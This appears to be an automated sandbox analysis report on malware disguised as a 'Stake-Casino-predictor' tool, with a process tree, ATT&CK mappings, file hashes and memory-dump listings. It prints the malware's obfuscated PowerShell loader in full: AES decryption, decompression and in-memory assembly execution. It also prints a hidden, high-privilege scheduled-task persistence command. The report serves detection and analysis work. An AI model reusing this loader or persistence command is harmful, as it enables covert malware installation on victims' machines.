PID 800 wrote to memory of 1052	800	powershell.exe	18
PID 800 wrote to memory of 1640	800	powershell.exe	31
PID 800 wrote to memory of 848	800	powershell.exe	12
PID 800 wrote to memory of 2416	800	powershell.exe	42
PID 800 wrote to memory of 4580	800	powershell.exe	62
PID 800 wrote to memory of 1224	800	powershell.exe	23
PID 800 wrote to memory of 1808	800	powershell.exe	34
PID 800 wrote to memory of 2396	800	powershell.exe	41
PID 800 wrote to memory of 1208	800	powershell.exe	22
PID 800 wrote to memory of 1576	800	powershell.exe	38
PID 800 wrote to memory of 2388	800	powershell.exe	40
PID 800 wrote to memory of 2584	800	powershell.exe	45
PID 800 wrote to memory of 1596	800	powershell.exe	30
PID 800 wrote to memory of 1396	800	powershell.exe	26
PID 800 wrote to memory of 804	800	powershell.exe	11
PID 800 wrote to memory of 1384	800	powershell.exe	25

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s PlugPlay
1⤵
PID:736

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch
1⤵
- Drops file in System32 directory
PID:804

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k rpcss
1⤵
PID:848

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s LSM
1⤵
PID:896

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s lmhosts
1⤵
PID:484

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s NcbService
1⤵
PID:616

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
1⤵
PID:380

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
1⤵
PID:1052

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s EventLog
1⤵
PID:1068

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Schedule
1⤵
PID:1112

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
1⤵
PID:1180

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Themes
1⤵
PID:1208

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s EventSystem
1⤵
PID:1224

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s nsi
1⤵
PID:1252

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s UserManager
1⤵
PID:1384

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s Dhcp
1⤵
PID:1396

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s SENS
1⤵
PID:1452

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s AudioEndpointBuilder
1⤵
PID:1528

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s NlaSvc
1⤵
PID:1560

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s Dnscache
1⤵
PID:1596

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1640

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1724

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1732

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k appmodel -s StateRepository
1⤵
PID:1808

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
1⤵
PID:1848

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s netprofm
1⤵
PID:1864

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s LanmanWorkstation
1⤵
PID:1576

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k appmodel -s tiledatamodelsvc
1⤵
PID:2240

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
1⤵
PID:2388

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservicenetworkrestricted -s PolicyAgent
1⤵
PID:2396

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
1⤵
PID:2416

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc
1⤵
PID:2472

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Browser
1⤵
PID:2584

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2640

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
1⤵
PID:2684

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s TrkWks
1⤵
PID:2692

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s WpnService
1⤵
PID:2708

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s TokenBroker
1⤵
PID:2924

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3128
- C:\Users\Admin\AppData\Local\Temp\Stake-Casino-predictorV5.3\Stake-Casino-predictor.exe
  "C:\Users\Admin\AppData\Local\Temp\Stake-Casino-predictorV5.3\Stake-Casino-predictor.exe"
  2⤵
  - Modifies registry class
  - Modifies system certificate store
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2368
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\Stake-Casino-predictorV5.3\Data\driver.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4944
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo cls;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('cw5mysSxxv94MpTM7jlgblINSn63B+9PWD7Ftom4KIA='); $aes_var.IV=[System.Convert]::FromBase64String('A7eONe+6zc8KLiE3Go1KFA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $iWuVc=New-Object System.IO.MemoryStream(,$param_var); $GLIRy=New-Object System.IO.MemoryStream; $GDSej=New-Object System.IO.Compression.GZipStream($iWuVc, [IO.Compression.CompressionMode]::Decompress); $GDSej.CopyTo($GLIRy); $GDSej.Dispose(); $iWuVc.Dispose(); $GLIRy.Dispose(); $GLIRy.ToArray();}function execute_function($param_var,$param2_var){ $rIVWz=[System.Reflection.Assembly]::Load([byte[]]$param_var); $IjLqc=$rIVWz.EntryPoint; $IjLqc.Invoke($null, $param2_var);}$uTCWP = 'C:\Users\Admin\AppData\Local\Temp\Stake-Casino-predictorV5.3\Data\driver.bat';$host.UI.RawUI.WindowTitle = $uTCWP;$sjvpk=[System.IO.File]::ReadAllText($uTCWP).Split([Environment]::NewLine);foreach ($lTTZJ in $sjvpk) { if ($lTTZJ.StartsWith('zfOTCBelgsnnDcnkPdZN')) { $SFdRM=$lTTZJ.Substring(20); break; }}$payloads_var=[string[]]$SFdRM.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "
      4⤵
      PID:2624
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
      4⤵
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1540
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_397_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_397.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4672
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_397.vbs"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2648
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_397.bat" "
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4900
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo cls;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('cw5mysSxxv94MpTM7jlgblINSn63B+9PWD7Ftom4KIA='); $aes_var.IV=[System.Convert]::FromBase64String('A7eONe+6zc8KLiE3Go1KFA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $iWuVc=New-Object System.IO.MemoryStream(,$param_var); $GLIRy=New-Object System.IO.MemoryStream; $GDSej=New-Object System.IO.Compression.GZipStream($iWuVc, [IO.Compression.CompressionMode]::Decompress); $GDSej.CopyTo($GLIRy); $GDSej.Dispose(); $iWuVc.Dispose(); $GLIRy.Dispose(); $GLIRy.ToArray();}function execute_function($param_var,$param2_var){ $rIVWz=[System.Reflection.Assembly]::Load([byte[]]$param_var); $IjLqc=$rIVWz.EntryPoint; $IjLqc.Invoke($null, $param2_var);}$uTCWP = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_397.bat';$host.UI.RawUI.WindowTitle = $uTCWP;$sjvpk=[System.IO.File]::ReadAllText($uTCWP).Split([Environment]::NewLine);foreach ($lTTZJ in $sjvpk) { if ($lTTZJ.StartsWith('zfOTCBelgsnnDcnkPdZN')) { $SFdRM=$lTTZJ.Substring(20); break; }}$payloads_var=[string[]]$SFdRM.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "
        7⤵
        
        PID:2140
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
        7⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:800
- - C:\Users\Admin\AppData\Local\Temp\Stake-Casino-predictorV5.3\render.exe
    "C:\Users\Admin\AppData\Local\Temp\Stake-Casino-predictorV5.3\render.exe"
    3⤵
    - Executes dropped EXE
    PID:3984

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s CDPSvc
1⤵
PID:4600

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV
1⤵
PID:4580

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:3420

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s wlidsvc
1⤵
PID:2316

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

07298EE8EBA9732300AE62BDCA6B6898

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\07298EE8EBA9732300AE62BDCA6B6898
Size 312B
SHA256 9cda8dd2f61d244f631c413fe65ef3ab4a7e36ccc424407918601306e8ef1f4a
MD5 6c18a429473b552edd38ca11f5c6be36
SHA1 0583a13c144eb891b5e5f05d529373f6265749f6
SHA512 fa0209d2a265923951f9dc6b1c5450e5286950a652bd7aa4a861b2dcbb997681d8ae0c9c22029cd009dd5f80abd7c6f18865ed928fc0dc5b80fafaa13a039f58
MD5 SHA1 SHA512

Submit Download

248DDD9FCF61002E219645695E3FFC98_B65931808D21CEA247CFE7AD8A5650BC

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\248DDD9FCF61002E219645695E3FFC98_B65931808D21CEA247CFE7AD8A5650BC
Size 482B
SHA256 76a7509c8c9459db3ac3cf9bdbbd4b9790b01bbae75310210f035c098723701d
MD5 47e9cc35d47cc463e8376039ef8075ae
SHA1 c5a2c058186a7b152c37110eb46d45595727f789
SHA512 e478dbaeababf156b9b954d87c71c604fd435a7f28cbdbea80ea7a8c72a9ab82e4a39b1d94acfc9f05bb4a34f92a1c13a18efb822e754e1bd1fb4c74e58c2900
MD5 SHA1 SHA512

Submit Download

57C8EDB95DF3F0AD4EE2DC2B8CFD4157

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157
Size 302B
SHA256 1ff276855d5d3e2489c93912793320a6d4db2e1d5ce7ebc4093108903610915a
MD5 5be18a31fb6aa4272aa80b05410b0777
SHA1 82cb059227d55e3c8844692e08fd3453e535073e
SHA512 ba8c3c9a5ff76f178dc4351bdf7c97581a2d33b8a1174a8a0752c10ef3a04be735c56441d344c94d6613f69ac8be65ccdc61eda728acb3210dbbb76e91515974
MD5 SHA1 SHA512

Submit Download

77EC63BDA74BD0D0E0426DC8F8008506

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506
Size 290B
SHA256 1e7f8765412e67e4e379ab6d6c74408aacabd1a30b56b115dcd7cd907f23dc2a
MD5 2d2a5957207184c5760ac488441e066d
SHA1 eab36a5c718c202c5e99412c6b2dddda827ad738
SHA512 c5c0ff305a8a72ff1249d39000fbc9cc24fac7069f6eaa0cf39983451e8ed373840a313b5fbe4769eb93554a313ca150b7d9b118925f58c148897d7ad130300f
MD5 SHA1 SHA512

Submit Download

8555326CC9661C9937DC5053B6C38763

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8555326CC9661C9937DC5053B6C38763
Size 326B
SHA256 14aa0f17e6fcbcefa36d42358075a3dd798035e9ae46c80d39775e5a325f0cee
MD5 ca3751aba7207109a5e3405bf2266ab7
SHA1 5e36b07b5da96c82a8c635c907e40f4602b6ab4f
SHA512 55ebca54c044f58f1a6fdb2049c4a7e886f24d0c20f14fa2fa9469b962504a980043431dc4530312243477edfd7433e531dcdc8b68eea31ccb1566526afd39e9
MD5 SHA1 SHA512

Submit Download

FE17BEC2A573BC9AE36869D0274FFA19_6DA81F04C5F9EAD2CD0268808FCE61E1

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FE17BEC2A573BC9AE36869D0274FFA19_6DA81F04C5F9EAD2CD0268808FCE61E1
Size 478B
SHA256 49d098434b83599a56c9e3c413e5680a6668962841930102f026987fe8cc20aa
MD5 9f22625937448895abdcc9e1b73c1920
SHA1 df38cde41a2e2b6fafb563d2c464fff36c74971d
SHA512 e65bb8a852e14b7a4f6fe8454da7c34e8e35d2e655d0fbfd48542cf83cac6ba6f2df5b2a8f9b130a084796100ea3a7fec6bbbafb178ac9edb0d155cd8a5687ad
MD5 SHA1 SHA512

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 fdd7d9def6f9f0c0f2e60dbc8a2d1999071cd7d3095e9e087bb1cda7a614ac3c
MD5 8592ba100a78835a6b94d5949e13dfc1
SHA1 63e901200ab9a57c7dd4c078d7f75dcd3b357020
SHA512 87f98e6cb61b2a2a7d65710c4d33881d89715eb7a06e00d492259f35c3902498baabffc5886be0ec5a14312ad4c262e3fc40cd3a5cb91701af0fb229726b88c3
MD5 SHA1 SHA512

Submit Download

StartupProfileData-Interactive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Size 2KB
SHA256 e193e4e32d3f2c52a855feaa7b998057f19adabc53e86f62aaed9bc9ce347b46
MD5 0b518be7eddd45a6ee8b71904cf039ea
SHA1 b3247b59f8f28a695698abdc7ff6bf6346df4d5d
SHA512 460d4f9677ea2d19738625348f31226ff3e074618c2ca644730a4b502cadb20b1e94d62e2fa64e04861534d83ab56529bd8a28695000448daebe3ecaa9c3bf2c
MD5 SHA1 SHA512

Submit Download

driver.bat

Path C:\Users\Admin\AppData\Local\Temp\Stake-Casino-predictorV5.3\Data\driver.bat
Size 267KB
SHA256 232ff2bec97a61d7efe72df1e64e397da5a2091b694930f02db0bdf0dabef9b7
MD5 c7489479e3959c074892fab7e3ccb78c
SHA1 fa1491e22997924ca0cf9fcab7be03a2db5c32e8
SHA512 99732c64853e7d14febdbeee14a3b06480ae485993fc9e487945ab1b55b006666702b96ef607e4bf6267d465a8253a2b3a6553ed0ddfbbb954fab966142d25e2
SSDEEP 6144:9kQv0JoOdXsIpMQTC5aGeHhQT4yiZz0WxqNl6tvvI/Vd4NuPnIWPCR:5vAXTpMQTC52QMyiZzlqNlQnKd4NuwWY
MD5 SHA1 SHA512 SSDEEP

Submit Download

render.exe

Path C:\Users\Admin\AppData\Local\Temp\Stake-Casino-predictorV5.3\render.exe
Size 47KB
SHA256 e4118e2e86859a25ac4bccb4fb6c95a45c07f0bbe44621eb0228ffe40fd016e3
MD5 014f79448a036eefcfb2065dcad0d51c
SHA1 4ca8959526dc949edac260439b4a59144fbd8162
SHA512 b57603eeb9d0271b8f38d8a735b98decb4ae01b1f2835bc2b9026780d9ec617e3e8d6ba7398528520b5793deda2d675207de44b774be6d077d2952483b766358
SSDEEP 768:6ODhaH7s4p5Yy4DN9UusKjQbXBgscI6BWNztYcFA/Vc6K:65CJ9UxKjkxgscI6ENj8Vcl
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_v5tdfphd.zve.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_v5tdfphd.zve.ps1
Size 1B
SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
MD5 c4ca4238a0b923820dcc509a6f75849b
SHA1 356a192b7913b04c54574d18c28d46e6395428ab
SHA512 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
MD5 SHA1 SHA512

Submit Download

$phantom-startup_str_397.vbs

Path C:\Users\Admin\AppData\Roaming\$phantom-startup_str_397.vbs
Size 124B
SHA256 9b404d8762949a92f097301a88de7dab5e5813bff0b787762434a67589ecd04c
MD5 00ee0a8120244ffdec8aae021b48fdee
SHA1 f8db4e932fcc77c6311bd05851b72ec98b508b5e
SHA512 8697a5313e3038521e0054f704342d2cb88bfa5e735766bfdc6a6a85daad13eb29b4de8b93b1c2db319d3fdd1b3bb06f4bfd8c40ce3ba299829997a69ebeafe1
MD5 SHA1 SHA512

Submit Download

memory/380-245-0x00007FFDA8740000-0x00007FFDA8750000-memory.dmp

Download

memory/800-192-0x000001A2ECD00000-0x000001A2ECD12000-memory.dmp

Download

memory/848-253-0x00007FFDA8740000-0x00007FFDA8750000-memory.dmp

Download

memory/896-260-0x00007FFDA8740000-0x00007FFDA8750000-memory.dmp

Download

memory/1068-250-0x00007FFDA8740000-0x00007FFDA8750000-memory.dmp

Download

memory/1112-252-0x00007FFDA8740000-0x00007FFDA8750000-memory.dmp

Download

memory/1180-244-0x00007FFDA8740000-0x00007FFDA8750000-memory.dmp

Download

memory/1208-243-0x00007FFDA8740000-0x00007FFDA8750000-memory.dmp

Download

memory/1452-257-0x00007FFDA8740000-0x00007FFDA8750000-memory.dmp

Download

memory/1540-89-0x000002F7DB8B0000-0x000002F7DB8B8000-memory.dmp

Download

memory/1540-70-0x000002F7DB8C0000-0x000002F7DB8FC000-memory.dmp

Download

memory/1540-91-0x000002F7DBB50000-0x000002F7DBB86000-memory.dmp

Download

memory/1540-90-0x000002F7DBB40000-0x000002F7DBB48000-memory.dmp

Download

memory/1560-241-0x00007FFDA8740000-0x00007FFDA8750000-memory.dmp

Download

memory/1576-247-0x00007FFDA8740000-0x00007FFDA8750000-memory.dmp

Download

memory/1640-254-0x00007FFDA8740000-0x00007FFDA8750000-memory.dmp

Download

memory/1724-259-0x00007FFDA8740000-0x00007FFDA8750000-memory.dmp

Download

memory/1732-248-0x00007FFDA8740000-0x00007FFDA8750000-memory.dmp

Download

memory/1848-242-0x00007FFDA8740000-0x00007FFDA8750000-memory.dmp

Download

memory/2368-0-0x0000023F845B0000-0x0000023F845C0000-memory.dmp

Download

memory/2368-1-0x00007FFDCCAC3000-0x00007FFDCCAC4000-memory.dmp

Download

memory/2368-29-0x00007FFDCCAC0000-0x00007FFDCD4AC000-memory.dmp

Download

memory/2368-2-0x0000023F849D0000-0x0000023F849F2000-memory.dmp

Download

memory/2368-36-0x00007FFDCCAC0000-0x00007FFDCD4AC000-memory.dmp

Download

memory/2368-4-0x0000023F9ECF0000-0x0000023F9ED66000-memory.dmp

Download

memory/2368-3-0x00007FFDCCAC0000-0x00007FFDCD4AC000-memory.dmp

Download

memory/2396-251-0x00007FFDA8740000-0x00007FFDA8750000-memory.dmp

Download

memory/2416-256-0x00007FFDA8740000-0x00007FFDA8750000-memory.dmp

Download

memory/2472-249-0x00007FFDA8740000-0x00007FFDA8750000-memory.dmp

Download

memory/2684-255-0x00007FFDA8740000-0x00007FFDA8750000-memory.dmp

Download

memory/2708-258-0x00007FFDA8740000-0x00007FFDA8750000-memory.dmp

Download

memory/2924-246-0x00007FFDA8740000-0x00007FFDA8750000-memory.dmp

Download

memory/3128-240-0x00007FFDA8740000-0x00007FFDA8750000-memory.dmp

Download

memory/3128-195-0x0000000000F20000-0x0000000000F4A000-memory.dmp

Download

memory/3984-38-0x0000017BC35A0000-0x0000017BC35B0000-memory.dmp

Download

memory/3984-293-0x00007FFDCCAC0000-0x00007FFDCD4AC000-memory.dmp

Download

memory/3984-39-0x00007FFDCCAC0000-0x00007FFDCD4AC000-memory.dmp

Download